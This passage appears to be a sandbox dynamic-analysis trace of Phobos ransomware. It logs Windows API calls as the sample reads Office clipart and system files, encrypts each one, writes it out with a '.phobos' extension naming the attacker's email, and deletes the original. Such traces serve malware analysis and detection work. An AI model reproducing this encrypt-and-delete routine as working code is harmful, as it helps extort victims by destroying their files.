dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.508] CryptDestroyKey (hKey=0x10d170) returned 1 [0062.508] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.508] CryptDestroyKey (hKey=0x10ce70) returned 1 [0062.508] CloseHandle (hObject=0x308) returned 1 [0062.508] CloseHandle (hObject=0x318) returned 1 [0062.509] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0062.510] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0062.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.510] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=37974) returned 1 [0062.510] CloseHandle (hObject=0x318) returned 1 [0062.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0062.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.510] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.510] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.511] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0062.511] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.511] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x9456, lpOverlapped=0x0) returned 1 [0062.583] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9460, dwBufLen=0x9460 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9460) returned 1 [0062.584] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x9460, lpOverlapped=0x0) returned 1 [0062.587] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0062.587] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.587] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.587] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0062.587] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.588] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0062.588] CloseHandle (hObject=0x318) returned 1 [0062.588] CloseHandle (hObject=0x308) returned 1 [0062.589] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0062.591] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0062.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.592] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=792) returned 1 [0062.592] CloseHandle (hObject=0x308) returned 1 [0062.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0062.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.592] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.592] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.593] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0062.593] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.593] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x318, lpOverlapped=0x0) returned 1 [0062.614] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x320, dwBufLen=0x320 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x320) returned 1 [0062.615] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x320, lpOverlapped=0x0) returned 1 [0062.616] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0062.616] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.616] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.616] CryptDestroyKey (hKey=0x10d170) returned 1 [0062.616] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.616] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0062.616] CloseHandle (hObject=0x308) returned 1 [0062.616] CloseHandle (hObject=0x318) returned 1 [0062.617] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0062.618] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0062.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.619] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7828) returned 1 [0062.619] CloseHandle (hObject=0x318) returned 1 [0062.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0062.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.619] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.619] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.620] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d070) returned 1 [0062.620] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.620] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1e94, lpOverlapped=0x0) returned 1 [0062.684] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1ea0) returned 1 [0062.684] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1ea0, lpOverlapped=0x0) returned 1 [0062.685] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0062.686] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.686] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.686] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0062.686] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.686] CryptDestroyKey (hKey=0x10d070) returned 1 [0062.686] CloseHandle (hObject=0x318) returned 1 [0062.686] CloseHandle (hObject=0x308) returned 1 [0063.827] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0063.828] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0063.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0063.828] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=42908) returned 1 [0063.828] CloseHandle (hObject=0x338) returned 1 [0063.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0063.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0063.829] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0063.829] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0063.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0063.829] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1f0) returned 1 [0063.830] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0063.830] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xa79c, lpOverlapped=0x0) returned 1 [0064.664] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa7a0, dwBufLen=0xa7a0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa7a0) returned 1 [0064.664] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xa7a0, lpOverlapped=0x0) returned 1 [0064.749] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0064.749] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0064.749] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0064.749] CryptDestroyKey (hKey=0x10d170) returned 1 [0064.749] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0064.749] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0064.749] CloseHandle (hObject=0x338) returned 1 [0064.749] CloseHandle (hObject=0x318) returned 1 [0064.755] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0064.827] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0064.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0064.832] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1932) returned 1 [0064.833] CloseHandle (hObject=0x308) returned 1 [0064.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0064.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0064.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0064.838] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0064.838] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0064.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.843] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d170) returned 1 [0064.843] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0064.843] ReadFile (hFile=0x340, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0) Thread: id = 34 os_tid = 0xf14 [0046.765] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x3700a8 [0046.766] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x3800b0 [0046.766] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x28) returned 0x84fc8 [0046.766] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x110102) returned 0x31c3020 [0046.769] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x50) returned 0x8afc0 [0046.769] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fbb8 | out: phKey=0x2e5fbb8*=0xf9540) returned 1 [0046.769] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x2e5fba0, dwFlags=0x0) returned 1 [0046.769] CryptDecrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0x2e5fb6c | out: pbData=0x8afc0, pdwDataLen=0x2e5fb6c) returned 1 [0046.769] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.769] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.769] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0046.769] Wow64DisableWow64FsRedirection (in: OldValue=0x2e5fc04 | out: OldValue=0x2e5fc04*=0x0) returned 1 [0046.769] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0046.770] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0046.770] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0046.772] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=156) returned 1 [0046.772] CloseHandle (hObject=0x308) returned 1 [0046.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0046.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.772] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0046.772] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0046.772] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0046.772] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0046.772] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, 